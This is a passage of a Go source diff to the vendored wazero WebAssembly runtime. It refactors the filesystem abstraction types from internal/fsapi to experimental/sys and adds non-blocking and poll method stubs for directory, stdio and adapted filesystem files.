underlying file in bulk vs one-at-a-time. @@ -110,17 +110,17 @@ func (f *FileEntry) DirentCache() (*DirentCache, sys.Errno) { // approach is sometimes called a sliding window. type DirentCache struct { // f is the underlying file - f fsapi.File + f sys.File // dotEntries are the "." and ".." entries added when the directory is // initialized. - dotEntries []fsapi.Dirent + dotEntries []sys.Dirent // dirents are the potentially unread directory entries. // // Internal detail: nil is different from zero length. Zero length is an // exhausted directory (eof). nil means the re-read. - dirents []fsapi.Dirent + dirents []sys.Dirent // countRead is the total count of dirents read since last rewind. countRead uint64 @@ -132,28 +132,28 @@ type DirentCache struct { } // synthesizeDotEntries generates a slice of the two elements "." and "..". -func synthesizeDotEntries(f *FileEntry) ([]fsapi.Dirent, sys.Errno) { +func synthesizeDotEntries(f *FileEntry) ([]sys.Dirent, sys.Errno) { dotIno, errno := f.File.Ino() if errno != 0 { return nil, errno } - result := [2]fsapi.Dirent{} - result[0] = fsapi.Dirent{Name: ".", Ino: dotIno, Type: fs.ModeDir} + result := [2]sys.Dirent{} + result[0] = sys.Dirent{Name: ".", Ino: dotIno, Type: fs.ModeDir} // See /RATIONALE.md for why we don't attempt to get an inode for ".." and // why in wasi-libc this won't fan-out either. - result[1] = fsapi.Dirent{Name: "..", Ino: 0, Type: fs.ModeDir} + result[1] = sys.Dirent{Name: "..", Ino: 0, Type: fs.ModeDir} return result[:], 0 } // exhaustedDirents avoids allocating empty slices. -var exhaustedDirents = [0]fsapi.Dirent{} +var exhaustedDirents = [0]sys.Dirent{} -// Read is similar to and returns the same errors as `Readdir` on fsapi.File. +// Read is similar to and returns the same errors as `Readdir` on sys.File. // The main difference is this caches entries returned, resulting in multiple // valid positions to read from. // // When zero, `pos` means rewind to the beginning of this directory. This -// implies a rewind (Seek to zero on the underlying fsapi.File), unless the +// implies a rewind (Seek to zero on the underlying sys.File), unless the // initial entries are still cached. // // When non-zero, `pos` is the zero based index of all dirents returned since @@ -162,9 +162,9 @@ var exhaustedDirents = [0]fsapi.Dirent{} // described on DirentCache documentation. // // Up to `n` entries are cached and returned. When `n` exceeds the cache, the -// difference are read from the underlying fsapi.File via `Readdir`. EOF is +// difference are read from the underlying sys.File via `Readdir`. EOF is // when `len(dirents)` returned are less than `n`. -func (d *DirentCache) Read(pos uint64, n uint32) (dirents []fsapi.Dirent, errno sys.Errno) { +func (d *DirentCache) Read(pos uint64, n uint32) (dirents []sys.Dirent, errno sys.Errno) { switch { case pos > d.countRead: // farther than read or negative coerced to uint64. return nil, sys.ENOENT @@ -239,7 +239,7 @@ func (d *DirentCache) Read(pos uint64, n uint32) (dirents []fsapi.Dirent, errno } // cachedDirents returns up to `n` dirents from the cache. -func (d *DirentCache) cachedDirents(n uint32) []fsapi.Dirent { +func (d *DirentCache) cachedDirents(n uint32) []sys.Dirent { direntCount := uint32(len(d.dirents)) switch { case direntCount == 0: @@ -252,7 +252,7 @@ func (d *DirentCache) cachedDirents(n uint32) []fsapi.Dirent { type FSContext struct { // rootFS is the root ("/") mount. - rootFS fsapi.FS + rootFS sys.FS // openedFiles is a map of file descriptor numbers (>=FdPreopen) to open files // (or directories) and defaults to empty. @@ -269,9 +269,9 @@ type FileTable = descriptor.Table[int32, *FileEntry] // // TODO: This is only used by GOOS=js and tests: Remove when we remove GOOS=js // (after Go 1.22 is released). -func (c *FSContext) RootFS() fsapi.FS { +func (c *FSContext) RootFS() sys.FS { if rootFS := c.rootFS; rootFS == nil { - return fsapi.UnimplementedFS{} + return sys.UnimplementedFS{} } else { return rootFS } @@ -284,11 +284,11 @@ func (c *FSContext) LookupFile(fd int32) (*FileEntry, bool) { // OpenFile opens the file into the table and returns its file descriptor. // The result must be closed by CloseFile or Close. -func (c *FSContext) OpenFile(fs fsapi.FS, path string, flag fsapi.Oflag, perm fs.FileMode) (int32, sys.Errno) { +func (c *FSContext) OpenFile(fs sys.FS, path string, flag sys.Oflag, perm fs.FileMode) (int32, sys.Errno) { if f, errno := fs.OpenFile(path, flag, perm); errno != 0 { return 0, errno } else { - fe := &FileEntry{FS: fs, File: f} + fe := &FileEntry{FS: fs, File: fsapi.Adapt(f)} if path == "/" || path == "." { fe.Name = "" } else { @@ -330,8 +330,8 @@ func (c *FSContext) Renumber(from, to int32) sys.Errno { return 0 } -// SockAccept accepts a socketapi.TCPConn into the file table and returns -// its file descriptor. +// SockAccept accepts a sock.TCPConn into the file table and returns its file +// descriptor. func (c *FSContext) SockAccept(sockFD int32, nonblock bool) (int32, sys.Errno) { var sock socketapi.TCPSock if e, ok := c.LookupFile(sockFD); !ok || !e.IsPreopen { @@ -340,18 +340,20 @@ func (c *FSContext) SockAccept(sockFD int32, nonblock bool) (int32, sys.Errno) { return 0, sys.EBADF // Not a sock } - var conn socketapi.TCPConn - var errno sys.Errno - if conn, errno = sock.Accept(); errno != 0 { + conn, errno := sock.Accept() + if errno != 0 { return 0, errno - } else if nonblock { - if errno = conn.SetNonblock(true); errno != 0 { + } + + fe := &FileEntry{File: fsapi.Adapt(conn)} + + if nonblock { + if errno = fe.File.SetNonblock(true); errno != 0 { _ = conn.Close() return 0, errno } } - fe := &FileEntry{File: conn} if newFD, ok := c.openedFiles.Insert(fe); !ok { return 0, sys.EBADF } else { @@ -391,7 +393,7 @@ func (c *FSContext) Close() (err error) { func (c *Context) InitFSContext( stdin io.Reader, stdout, stderr io.Writer, - fs []fsapi.FS, guestPaths []string, + fs []sys.FS, guestPaths []string, tcpListeners []*net.TCPListener, ) (err error) { inFile, err := stdinFileEntry(stdin) @@ -427,7 +429,7 @@ func (c *Context) InitFSContext( } for _, tl := range tcpListeners { - c.fsc.openedFiles.Insert(&FileEntry{IsPreopen: true, File: sysfs.NewTCPListenerFile(tl)}) + c.fsc.openedFiles.Insert(&FileEntry{IsPreopen: true, File: fsapi.Adapt(sysfs.NewTCPListenerFile(tl))}) } return nil } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sys/lazy.go b/vendor/github.com/tetratelabs/wazero/internal/sys/lazy.go index 011a5a4dc5..fe233d29ea 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sys/lazy.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sys/lazy.go @@ -1,126 +1,124 @@ package sys import ( - "syscall" - experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/fsapi" "github.com/tetratelabs/wazero/sys" ) -// compile-time check to ensure lazyDir implements fsapi.File. -var _ fsapi.File = (*lazyDir)(nil) +// compile-time check to ensure lazyDir implements sys.File. +var _ experimentalsys.File = (*lazyDir)(nil) type lazyDir struct { - fsapi.DirFile + experimentalsys.DirFile - fs fsapi.FS - f fsapi.File + fs experimentalsys.FS + f experimentalsys.File } -// Dev implements the same method as documented on fsapi.File -func (r *lazyDir) Dev() (uint64, experimentalsys.Errno) { - if f, ok := r.file(); !ok { +// Dev implements the same method as documented on sys.File +func (d *lazyDir) Dev() (uint64, experimentalsys.Errno) { + if f, ok := d.file(); !ok { return 0, experimentalsys.EBADF } else { return f.Dev() } } -// Ino implements the same method as documented on fsapi.File -func (r *lazyDir) Ino() (sys.Inode, experimentalsys.Errno) { - if f, ok := r.file(); !ok { +// Ino implements the same method as documented on sys.File +func (d *lazyDir) Ino() (sys.Inode, experimentalsys.Errno) { + if f, ok := d.file(); !ok { return 0, experimentalsys.EBADF } else { return f.Ino() } } -// IsDir implements the same method as documented on fsapi.File -func (r *lazyDir) IsDir() (bool, experimentalsys.Errno) { +// IsDir implements the same method as documented on sys.File +func (d *lazyDir) IsDir() (bool, experimentalsys.Errno) { // Note: we don't return a constant because we don't know if this is really // backed by a dir, until the first call. - if f, ok := r.file(); !ok { + if f, ok := d.file(); !ok { return false, experimentalsys.EBADF } else { return f.IsDir() } } -// IsAppend implements the same method as documented on fsapi.File -func (r *lazyDir) IsAppend() bool { +// IsAppend implements the same method as documented on sys.File +func (d *lazyDir) IsAppend() bool { return false } -// SetAppend implements the same method as documented on fsapi.File -func (r *lazyDir) SetAppend(bool) experimentalsys.Errno { +// SetAppend implements the same method as documented on sys.File +func (d *lazyDir) SetAppend(bool) experimentalsys.Errno { return experimentalsys.EISDIR } -// Seek implements the same method as documented on fsapi.File -func (r *lazyDir) Seek(offset int64, whence int) (newOffset int64, errno experimentalsys.Errno) { - if f, ok := r.file(); !ok { +// Seek implements the same method as documented on sys.File +func (d *lazyDir) Seek(offset int64, whence int) (newOffset int64, errno experimentalsys.Errno) { + if f, ok := d.file(); !ok { return 0, experimentalsys.EBADF } else { return f.Seek(offset, whence) } } -// Stat implements the same method as documented on fsapi.File -func (r *lazyDir) Stat() (sys.Stat_t, experimentalsys.Errno) { - if f, ok := r.file(); !ok { +// Stat implements the same method as documented on sys.File +func (d *lazyDir) Stat() (sys.Stat_t, experimentalsys.Errno) { + if f, ok := d.file(); !ok { return sys.Stat_t{}, experimentalsys.EBADF } else { return f.Stat() } } -// Readdir implements the same method as documented on fsapi.File -func (r *lazyDir) Readdir(n int) (dirents []fsapi.Dirent, errno experimentalsys.Errno) { - if f, ok := r.file(); !ok { +// Readdir implements the same method as documented on sys.File +func (d *lazyDir) Readdir(n int) (dirents []experimentalsys.Dirent, errno experimentalsys.Errno) { + if f, ok := d.file(); !ok { return nil, experimentalsys.EBADF } else { return f.Readdir(n) } } -// Sync implements the same method as documented on fsapi.File -func (r *lazyDir) Sync() experimentalsys.Errno { - if f, ok := r.file(); !ok { +// Sync implements the same method as documented on sys.File +func (d *lazyDir) Sync() experimentalsys.Errno { + if f, ok := d.file(); !ok { return experimentalsys.EBADF } else { return f.Sync() } } -// Datasync implements the same method as documented on fsapi.File -func (r *lazyDir) Datasync() experimentalsys.Errno { - if f, ok := r.file(); !ok { +// Datasync implements the same method as documented on sys.File +func (d *lazyDir) Datasync() experimentalsys.Errno { + if f, ok := d.file(); !ok { return experimentalsys.EBADF } else { return f.Datasync() } } -// Utimens implements the same method as documented on fsapi.File -func (r *lazyDir) Utimens(times *[2]syscall.Timespec) experimentalsys.Errno { - if f, ok := r.file(); !ok { +// Utimens implements the same method as documented on sys.File +func (d *lazyDir) Utimens(atim, mtim int64) experimentalsys.Errno { + if f, ok := d.file(); !ok { return experimentalsys.EBADF } else { - return f.Utimens(times) + return f.Utimens(atim, mtim) } } // file returns the underlying file or false if it doesn't exist. -func (r *lazyDir) file() (fsapi.File, bool) { - if f := r.f; r.f != nil { +func (d *lazyDir) file() (experimentalsys.File, bool) { + if f := d.f; d.f != nil { return f, true } var errno experimentalsys.Errno - r.f, errno = r.fs.OpenFile(".", fsapi.O_RDONLY, 0) + d.f, errno = d.fs.OpenFile(".", experimentalsys.O_RDONLY, 0) switch errno { case 0: - return r.f, true + return d.f, true case experimentalsys.ENOENT: return nil, false default: @@ -129,10 +127,25 @@ func (r *lazyDir) file() (fsapi.File, bool) { } // Close implements fs.File -func (r *lazyDir) Close() experimentalsys.Errno { - f := r.f +func (d *lazyDir) Close() experimentalsys.Errno { + f := d.f if f == nil { return 0 // never opened } return f.Close() } + +// IsNonblock implements the same method as documented on fsapi.File +func (d *lazyDir) IsNonblock() bool { + return false +} + +// SetNonblock implements the same method as documented on fsapi.File +func (d *lazyDir) SetNonblock(bool) experimentalsys.Errno { + return experimentalsys.EISDIR +} + +// Poll implements the same method as documented on fsapi.File +func (d *lazyDir) Poll(fsapi.Pflag, int32) (ready bool, errno experimentalsys.Errno) { + return false, experimentalsys.ENOSYS +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sys/stdio.go b/vendor/github.com/tetratelabs/wazero/internal/sys/stdio.go index b153e32c19..32c33661eb 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sys/stdio.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sys/stdio.go @@ -3,7 +3,6 @@ package sys import ( "io" "os" - "time" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/fsapi" @@ -19,7 +18,7 @@ type StdinFile struct { io.Reader } -// Read implements the same method as documented on fsapi.File +// Read implements the same method as documented on sys.File func (f *StdinFile) Read(buf []byte) (int, experimentalsys.Errno) { n, err := f.Reader.Read(buf) return n, experimentalsys.UnwrapOSError(err) @@ -31,7 +30,7 @@ type writerFile struct { w io.Writer } -// Write implements the same method as documented on fsapi.File +// Write implements the same method as documented on sys.File func (f *writerFile) Write(buf []byte) (int, experimentalsys.Errno) { n, err := f.w.Write(buf) return n, experimentalsys.UnwrapOSError(err) @@ -44,13 +43,16 @@ type noopStdinFile struct { noopStdioFile } -// Read implements the same method as documented on fsapi.File +// Read implements the same method as documented on sys.File func (noopStdinFile) Read([]byte) (int, experimentalsys.Errno) { return 0, 0 // Always EOF } -// PollRead implements the same method as documented on fsapi.File -func (noopStdinFile) PollRead(*time.Duration) (ready bool, errno experimentalsys.Errno) { +// Poll implements the same method as documented on fsapi.File +func (noopStdinFile) Poll(flag fsapi.Pflag, timeoutMillis int32) (ready bool, errno experimentalsys.Errno) { + if flag != fsapi.POLLIN { + return false, experimentalsys.ENOTSUP + } return true, 0 // always ready to read nothing } @@ -60,28 +62,43 @@ type noopStdoutFile struct { noopStdioFile } -// Write implements the same method as documented on fsapi.File +// Write implements the same method as documented on sys.File func (noopStdoutFile) Write(buf []byte) (int, experimentalsys.Errno) { return len(buf), 0 // same as io.Discard } type noopStdioFile struct { - fsapi.UnimplementedFile + experimentalsys.UnimplementedFile } -// Stat implements the same method as documented on fsapi.File +// Stat implements the same method as documented on sys.File func (noopStdioFile) Stat() (sys.Stat_t, experimentalsys.Errno) { return sys.Stat_t{Mode: modeDevice, Nlink: 1}, 0 } -// IsDir implements the same method as documented on fsapi.File +// IsDir implements the same method as documented on sys.File func (noopStdioFile) IsDir() (bool, experimentalsys.Errno) { return false, 0 } -// Close implements the same method as documented on fsapi.File +// Close implements the same method as documented on sys.File func (noopStdioFile) Close() (errno experimentalsys.Errno) { return } +// IsNonblock implements the same method as documented on fsapi.File +func (noopStdioFile) IsNonblock() bool { + return false +} + +// SetNonblock implements the same method as documented on fsapi.File +func (noopStdioFile) SetNonblock(bool) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Poll implements the same method as documented on fsapi.File +func (noopStdioFile) Poll(fsapi.Pflag, int32) (ready bool, errno experimentalsys.Errno) { + return false, experimentalsys.ENOSYS +} + func stdinFileEntry(r io.Reader) (*FileEntry, error) { if r == nil { return &FileEntry{Name: "stdin", IsPreopen: true, File: &noopStdinFile{}}, nil diff --git a/vendor/github.com/tetratelabs/wazero/internal/sys/sys.go b/vendor/github.com/tetratelabs/wazero/internal/sys/sys.go index aedd7c7035..12279ee495 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sys/sys.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sys/sys.go @@ -7,7 +7,7 @@ import ( "net" "time" - "github.com/tetratelabs/wazero/internal/fsapi" + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/platform" "github.com/tetratelabs/wazero/sys" ) @@ -110,11 +110,11 @@ func (c *Context) RandSource() io.Reader { } // DefaultContext returns Context with no values set except a possible nil -// fsapi.FS. +// sys.FS. // // Note: This is only used for testing. -func DefaultContext(fs fsapi.FS) *Context { - if sysCtx, err := NewContext(0, nil, nil, nil, nil, nil, nil, nil, 0, nil, 0, nil, nil, []fsapi.FS{fs}, []string{""}, nil); err != nil { +func DefaultContext(fs experimentalsys.FS) *Context { + if sysCtx, err := NewContext(0, nil, nil, nil, nil, nil, nil, nil, 0, nil, 0, nil, nil, []experimentalsys.FS{fs}, []string{""}, nil); err != nil { panic(fmt.Errorf("BUG: DefaultContext should never error: %w", err)) } else { return sysCtx @@ -135,7 +135,7 @@ func NewContext( nanotimeResolution sys.ClockResolution, nanosleep sys.Nanosleep, osyield sys.Osyield, - fs []fsapi.FS, guestPaths []string, + fs []experimentalsys.FS, guestPaths []string, tcpListeners []*net.TCPListener, ) (sysCtx *Context, err error) { sysCtx = &Context{args: args, environ: environ} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/adapter.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/adapter.go index 75d70888c8..51a9a54804 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/adapter.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/adapter.go @@ -6,45 +6,39 @@ import ( "path" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" "github.com/tetratelabs/wazero/sys" ) -// Adapt adapts the input to fsapi.FS unless it is already one. Use NewDirFS instead -// of os.DirFS as it handles interop issues such as windows support. -// -// Note: This performs no flag verification on OpenFile. fsapi.FS cannot read -// flags as there is no parameter to pass them through with. Moreover, fsapi.FS -// documentation does not require the file to be present. In summary, we can't -// enforce flag behavior. -func Adapt(fs fs.FS) fsapi.FS { - if fs == nil { - return fsapi.UnimplementedFS{} - } - if sys, ok := fs.(fsapi.FS); ok { - return sys - } - return &adapter{fs: fs} +type AdaptFS struct { + FS fs.FS } -type adapter struct { - fsapi.UnimplementedFS - fs fs.FS +// String implements fmt.Stringer +func (a *AdaptFS) String() string { + return fmt.Sprintf("%v", a.FS) } -// String implements fmt.Stringer -func (a *adapter) String() string { - return fmt.Sprintf("%v", a.fs) +// OpenFile implements the same method as documented on sys.FS +func (a *AdaptFS) OpenFile(path string, flag experimentalsys.Oflag, perm fs.FileMode) (experimentalsys.File, experimentalsys.Errno) { + return OpenFSFile(a.FS, cleanPath(path), flag, perm) } -// OpenFile implements the same method as documented on fsapi.FS -func (a *adapter) OpenFile(path string, flag fsapi.Oflag, perm fs.FileMode) (fsapi.File, experimentalsys.Errno) { - return OpenFSFile(a.fs, cleanPath(path), flag, perm) +// Lstat implements the same method as documented on sys.FS +func (a *AdaptFS) Lstat(path string) (sys.Stat_t, experimentalsys.Errno) { + // At this time, we make the assumption sys.FS instances do not support + // symbolic links, therefore Lstat is the same as Stat. This is obviously + // not true, but until FS.FS has a solid story for how to handle symlinks, + // we are better off not making a decision that would be difficult to + // revert later on. + // + // For further discussions on the topic, see: + // https://github.com/golang/go/issues/49580 + return a.Stat(path) } -// Stat implements the same method as documented on fsapi.FS -func (a *adapter) Stat(path string) (sys.Stat_t, experimentalsys.Errno) { - f, errno := a.OpenFile(path, fsapi.O_RDONLY, 0) +// Stat implements the same method as documented on sys.FS +func (a *AdaptFS) Stat(path string) (sys.Stat_t, experimentalsys.Errno) { + f, errno := a.OpenFile(path, experimentalsys.O_RDONLY, 0) if errno != 0 { return sys.Stat_t{}, errno } @@ -52,17 +46,49 @@ func (a *adapter) Stat(path string) (sys.Stat_t, experimentalsys.Errno) { return f.Stat() } -// Lstat implements the same method as documented on fsapi.FS -func (a *adapter) Lstat(path string) (sys.Stat_t, experimentalsys.Errno) { - // At this time, we make the assumption that fsapi.FS instances do not support - // symbolic links, therefore Lstat is the same as Stat. This is obviously - // not true but until fsapi.FS has a solid story for how to handle symlinks we - // are better off not making a decision that would be difficult to revert - // later on. - // - // For further discussions on the topic, see: - // https://github.com/golang/go/issues/49580 - return a.Stat(path) +// Readlink implements the same method as documented on sys.FS +func (a *AdaptFS) Readlink(string) (string, experimentalsys.Errno) { + return "", experimentalsys.ENOSYS +} + +// Mkdir implements the same method as documented on sys.FS +func (a *AdaptFS) Mkdir(string, fs.FileMode) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Chmod implements the same method as documented on sys.FS +func (a *AdaptFS) Chmod(string, fs.FileMode) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Rename implements the same method as documented on sys.FS +func (a *AdaptFS) Rename(string, string) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Rmdir implements the same method as documented on sys.FS +func (a *AdaptFS) Rmdir(string) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Link implements the same method as documented on sys.FS +func (a *AdaptFS) Link(string, string) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Symlink implements the same method as documented on sys.FS +func (a *AdaptFS) Symlink(string, string) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Unlink implements the same method as documented on sys.FS +func (a *AdaptFS) Unlink(string) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Utimens implements the same method as documented on sys.FS +func (a *AdaptFS) Utimens(string, int64, int64) experimentalsys.Errno { + return experimentalsys.ENOSYS } func cleanPath(name string) string { diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/dir.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/dir.go index 5a217394b3..f9823287cf 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/dir.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/dir.go @@ -4,15 +4,14 @@ import ( "io" "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" ) -func adjustReaddirErr(f fsapi.File, isClosed bool, err error) sys.Errno { +func adjustReaddirErr(f sys.File, isClosed bool, err error) sys.Errno { if err == io.EOF { return 0 // e.g. Readdir on darwin returns io.EOF, but linux doesn't. } else if errno := sys.UnwrapOSError(err); errno != 0 { errno = dirError(f, isClosed, errno) - // Comply with errors allowed on fsapi.File Readdir + // Comply with errors allowed on sys.File Readdir switch errno { case sys.EINVAL: // os.File Readdir can return this return sys.EBADF diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/dirfs.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/dirfs.go index c908d6c550..05d5b647ea 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/dirfs.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/dirfs.go @@ -3,15 +3,13 @@ package sysfs import ( "io/fs" "os" - "syscall" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" "github.com/tetratelabs/wazero/internal/platform" "github.com/tetratelabs/wazero/sys" ) -func NewDirFS(dir string) fsapi.FS { +func DirFS(dir string) experimentalsys.FS { return &dirFS{ dir: dir, cleanedDir: ensureTrailingPathSeparator(dir), @@ -25,8 +23,11 @@ func ensureTrailingPathSeparator(dir string) string { return dir } +// dirFS is not exported because the input fields must be maintained together. +// This is likely why os.DirFS doesn't, either! type dirFS struct { - fsapi.UnimplementedFS + experimentalsys.UnimplementedFS + dir string // cleanedDir is for easier OS-specific concatenation, as it always has // a trailing path separator. @@ -38,22 +39,22 @@ func (d *dirFS) String() string { return d.dir } -// OpenFile implements the same method as documented on fsapi.FS -func (d *dirFS) OpenFile(path string, flag fsapi.Oflag, perm fs.FileMode) (fsapi.File, experimentalsys.Errno) { +// OpenFile implements the same method as documented on sys.FS +func (d *dirFS) OpenFile(path string, flag experimentalsys.Oflag, perm fs.FileMode) (experimentalsys.File, experimentalsys.Errno) { return OpenOSFile(d.join(path), flag, perm) } -// Lstat implements the same method as documented on fsapi.FS +// Lstat implements the same method as documented on sys.FS func (d *dirFS) Lstat(path string) (sys.Stat_t, experimentalsys.Errno) { return lstat(d.join(path)) } -// Stat implements the same method as documented on fsapi.FS +// Stat implements the same method as documented on sys.FS func (d *dirFS) Stat(path string) (sys.Stat_t, experimentalsys.Errno) { return stat(d.join(path)) } -// Mkdir implements the same method as documented on fsapi.FS +// Mkdir implements the same method as documented on sys.FS func (d *dirFS) Mkdir(path string, perm fs.FileMode) (errno experimentalsys.Errno) { err := os.Mkdir(d.join(path), perm) if errno = experimentalsys.UnwrapOSError(err); errno == experimentalsys.ENOTDIR { @@ -62,19 +63,19 @@ func (d *dirFS) Mkdir(path string, perm fs.FileMode) (errno experimentalsys.Errn return } -// Chmod implements the same method as documented on fsapi.FS +// Chmod implements the same method as documented on sys.FS func (d *dirFS) Chmod(path string, perm fs.FileMode) experimentalsys.Errno { err := os.Chmod(d.join(path), perm) return experimentalsys.UnwrapOSError(err) } -// Rename implements the same method as documented on fsapi.FS +// Rename implements the same method as documented on sys.FS func (d *dirFS) Rename(from, to string) experimentalsys.Errno { from, to = d.join(from), d.join(to) return rename(from, to) } -// Readlink implements the same method as documented on fsapi.FS +// Readlink implements the same method as documented on sys.FS func (d *dirFS) Readlink(path string) (string, experimentalsys.Errno) { // Note: do not use syscall.Readlink as that causes race on Windows. // In any case, syscall.Readlink does almost the same logic as os.Readlink. @@ -85,28 +86,23 @@ func (d *dirFS) Readlink(path string) (string, experimentalsys.Errno) { return platform.ToPosixPath(dst), 0 } -// Link implements the same method as documented on fsapi.FS +// Link implements the same method as documented on sys.FS func (d *dirFS) Link(oldName, newName string) experimentalsys.Errno { err := os.Link(d.join(oldName), d.join(newName)) return experimentalsys.UnwrapOSError(err) } -// Rmdir implements the same method as documented on fsapi.FS +// Rmdir implements the same method as documented on sys.FS func (d *dirFS) Rmdir(path string) experimentalsys.Errno { return rmdir(d.join(path)) } -func rmdir(path string) experimentalsys.Errno { - err := syscall.Rmdir(path) - return experimentalsys.UnwrapOSError(err) -} - -// Unlink implements the same method as documented on fsapi.FS +// Unlink implements the same method as documented on sys.FS func (d *dirFS) Unlink(path string) (err experimentalsys.Errno) { return unlink(d.join(path)) } -// Symlink implements the same method as documented on fsapi.FS +// Symlink implements the same method as documented on sys.FS func (d *dirFS) Symlink(oldName, link string) experimentalsys.Errno { // Note: do not resolve `oldName` relative to this dirFS. The link result is always resolved // when dereference the `link` on its usage (e.g. readlink, read, etc). @@ -115,9 +111,9 @@ func (d *dirFS) Symlink(oldName, link string) experimentalsys.Errno { return experimentalsys.UnwrapOSError(err) } -// Utimens implements the same method as documented on fsapi.FS -func (d *dirFS) Utimens(path string, times *[2]syscall.Timespec) experimentalsys.Errno { - return Utimens(d.join(path), times) +// Utimens implements the same method as documented on sys.FS +func (d *dirFS) Utimens(path string, atim, mtim int64) experimentalsys.Errno { + return utimens(d.join(path), atim, mtim) } func (d *dirFS) join(path string) string { diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file.go index b3285cab65..9a77205bb5 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file.go @@ -4,6 +4,7 @@ import ( "io" "io/fs" "os" + "time" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/fsapi" @@ -20,11 +21,11 @@ func NewStdioFile(stdin bool, f fs.File) (fsapi.File, error) { } else { mode = st.Mode() } - var flag fsapi.Oflag + var flag experimentalsys.Oflag if stdin { - flag = fsapi.O_RDONLY + flag = experimentalsys.O_RDONLY } else { - flag = fsapi.O_WRONLY + flag = experimentalsys.O_WRONLY } var file fsapi.File if of, ok := f.(*os.File); ok { @@ -36,14 +37,14 @@ func NewStdioFile(stdin bool, f fs.File) (fsapi.File, error) { return &stdioFile{File: file, st: sys.Stat_t{Mode: mode, Nlink: 1}}, nil } -func OpenFile(path string, flag fsapi.Oflag, perm fs.FileMode) (*os.File, experimentalsys.Errno) { - if flag&fsapi.O_DIRECTORY != 0 && flag&(fsapi.O_WRONLY|fsapi.O_RDWR) != 0 { +func OpenFile(path string, flag experimentalsys.Oflag, perm fs.FileMode) (*os.File, experimentalsys.Errno) { + if flag&experimentalsys.O_DIRECTORY != 0 && flag&(experimentalsys.O_WRONLY|experimentalsys.O_RDWR) != 0 { return nil, experimentalsys.EISDIR // invalid to open a directory writeable } return openFile(path, flag, perm) } -func OpenOSFile(path string, flag fsapi.Oflag, perm fs.FileMode) (fsapi.File, experimentalsys.Errno) { +func OpenOSFile(path string, flag experimentalsys.Oflag, perm fs.FileMode) (experimentalsys.File, experimentalsys.Errno) { f, errno := OpenFile(path, flag, perm) if errno != 0 { return nil, errno @@ -51,8 +52,8 @@ func OpenOSFile(path string, flag fsapi.Oflag, perm fs.FileMode) (fsapi.File, ex return newOsFile(path, flag, perm, f), 0 } -func OpenFSFile(fs fs.FS, path string, flag fsapi.Oflag, perm fs.FileMode) (fsapi.File, experimentalsys.Errno) { - if flag&fsapi.O_DIRECTORY != 0 && flag&(fsapi.O_WRONLY|fsapi.O_RDWR) != 0 { +func OpenFSFile(fs fs.FS, path string, flag experimentalsys.Oflag, perm fs.FileMode) (experimentalsys.File, experimentalsys.Errno) { + if flag&experimentalsys.O_DIRECTORY != 0 && flag&(experimentalsys.O_WRONLY|experimentalsys.O_RDWR) != 0 { return nil, experimentalsys.EISDIR // invalid to open a directory writeable } f, err := fs.Open(path) @@ -60,7 +61,7 @@ func OpenFSFile(fs fs.FS, path string, flag fsapi.Oflag, perm fs.FileMode) (fsap return nil, errno } // Don't return an os.File because the path is not absolute. osFile needs - // the path to be real and certain fs.File impls are subrooted. + // the path to be real and certain FS.File impls are subrooted. return &fsFile{fs: fs, name: path, file: f}, 0 } @@ -94,7 +95,7 @@ func (f *stdioFile) Close() experimentalsys.Errno { // implementation. Notably, this does not have access to the full file path. // so certain operations can't be supported, such as inode lookups on Windows. type fsFile struct { - fsapi.UnimplementedFile + experimentalsys.UnimplementedFile // fs is the file-system that opened the file, or nil when wrapped for // pre-opens like stdio. @@ -120,17 +121,17 @@ type fsFile struct { } type cachedStat struct { - // dev is the same as fsapi.Stat_t Dev. + // dev is the same as sys.Stat_t Dev. dev uint64 - // dev is the same as fsapi.Stat_t Ino. + // dev is the same as sys.Stat_t Ino. ino sys.Inode - // isDir is fsapi.Stat_t Mode masked with fs.ModeDir + // isDir is sys.Stat_t Mode masked with fs.ModeDir isDir bool } -// cachedStat returns the cacheable parts of fsapi.Stat_t or an error if they +// cachedStat returns the cacheable parts of sys.Stat_t or an error if they // couldn't be retrieved. func (f *fsFile) cachedStat() (dev uint64, ino sys.Inode, isDir bool, errno experimentalsys.Errno) { if f.cachedSt == nil { 